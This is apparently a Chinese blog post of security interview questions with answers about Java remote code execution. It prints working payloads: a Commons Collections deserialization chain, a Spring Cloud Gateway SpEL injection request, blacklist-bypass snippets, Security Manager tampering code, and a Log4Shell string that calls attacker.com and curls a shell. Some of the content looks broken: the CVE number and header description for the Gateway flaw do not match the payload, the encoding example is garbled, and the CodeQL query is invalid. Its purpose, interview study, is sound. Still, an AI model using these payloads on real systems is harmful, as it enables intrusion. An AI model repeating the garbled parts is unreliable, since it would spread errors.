网络安面试题库截止目前已更新68篇,近16w字,里面包含了网安的职业规划、面试准备篇幅、学习方向、求职名单、应届生面试题库、应届生笔试题库、国内外安全企业介绍、以及社会背调等。
16w字的面试经验文末有彩蛋
题目1:请解释Java反序列化漏洞导致RCE的核心原理,并以Apache Commons Collections 3.x为例,描述攻击链的构造过程(需包含关键类和方法)。
答案:
-
核心原理:Java反序列化时,若攻击者可控输入数据,可通过构造恶意对象触发目标类中危险方法(如 InvokerTransformer.transform()
调用任意方法)。 -
攻击链示例: // 利用链:AnnotationInvocationHandler.readObject() // → TransformedMap.checkSetValue() // → InvokerTransformer.transform() Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers); Map map = TransformedMap.decorate(new HashMap(), null, chain); // 通过反射触发AnnotationInvocationHandler反序列化
-
防御:升级到Commons Collections 4.0+,或使用 SerialKiller
等反序列化过滤器。
题目2:在Spring框架中,如何通过SpEL(Spring Expression Language)注入实现RCE?请结合CVE-2022-22963漏洞说明利用条件及Payload构造。
答案:
-
漏洞背景:Spring Cloud Gateway在3.1.0及以下版本中,未对 X-Forwarded-Prefix
头进行过滤,导致SpEL表达式注入。 -
利用条件:目标启用Actuator API且路由配置允许动态修改。 -
Payload构造: POST /actuator/gateway/routes/test_route HTTP/1.1 { "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test_route"} }], "filters": [{ "name": "AddResponseHeader", "args": { "name": "X-Response", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()))}" } }] }
-
触发执行:访问 /actuator/gateway/refresh
刷新配置后,请求/test_route
触发表达式解析。 -
修复:升级到3.1.1+,禁用动态路由或过滤危险Header。
题目3:假设目标系统对用户输入的RCE Payload进行了黑名单过滤(如禁止Runtime
、ProcessBuilder
等关键词),请列举三种绕过方式并举例说明。
答案:
-
反射调用:通过反射获取 Runtime
类:Class<?> clazz = Class.forName("java.lang." + "Runtime"); clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(null), "calc");
-
Unicode/Hex编码: // u0020 表示空格,绕过字符串检测 String cmd = "cu" + "u0020" + "rl example.com";
-
利用其他危险类:如 ScriptEngine
执行JS代码:new javax.script.ScriptEngineManager() .getEngineByName("JavaScript") .eval("java.lang.Runtime.getRuntime().exec('calc')");
题目4:如何通过静态分析工具(如CodeQL)挖掘Java应用中潜在的RCE反序列化链?请描述关键分析步骤。
答案:
-
识别危险方法:定义Sink点(如 Runtime.exec()
、Method.invoke()
)。 -
追踪数据流:从反序列化入口( ObjectInputStream.readObject()
)到Sink点的数据流路径。 -
识别Gadget链:查找可连接Sink与Source的调用链(如 readObject()
→Transformer.transform()
→InvokerTransformer
)。 -
过滤无害调用:排除无参数传递或不可控的路径。 -
验证利用可行性:检查类是否可实例化、方法是否公开等。
-
示例CodeQL查询: from Callable source, Callable sink where source.getAParameter().getType().hasName("ObjectInputStream") and sink.hasName("exec") and exists(DataFlow::path(source, sink)) select sink, source
题目5:如何绕过Java Security Manager的沙箱限制实现RCE?请举例说明。
答案:
-
漏洞场景:若策略文件配置错误(如允许 createClassLoader
权限)。 -
绕过方式: -
定义恶意类加载器:通过自定义ClassLoader加载并执行字节码。 -
利用JNI本地库:调用JNI方法执行本地代码(需 loadLibrary
权限)。 -
反射修改Policy:通过反射修改 Policy
对象,动态添加权限:Field policyField = Policy.class.getDeclaredField("policy"); policyField.setAccessible(true); Policy policy = (Policy) policyField.get(null); // 添加AllPermission到策略
-
题目6:Log4j2的JNDI注入漏洞(CVE-2021-44228)如何导致RCE?请说明攻击流程及防御方案。
答案:
-
攻击流程: -
攻击者在日志中注入 ${jndi:ldap://attacker.com/Exploit}
。 -
Log4j2解析日志时触发JNDI请求,从恶意服务器加载远程类。 -
恶意类(如 Exploit.class
)的静态代码块中执行Runtime.getRuntime().exec("curl attacker.com/shell")
。
-
-
防御: -
升级到Log4j 2.17.0+,默认禁用JNDI查找。 -
设置环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS=true
。 -
使用WAF过滤 ${jndi:
等关键字。
-
原文始发于微信公众号(吉祥快学网络安全吧):长亭三面我被RCE问题干翻了
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论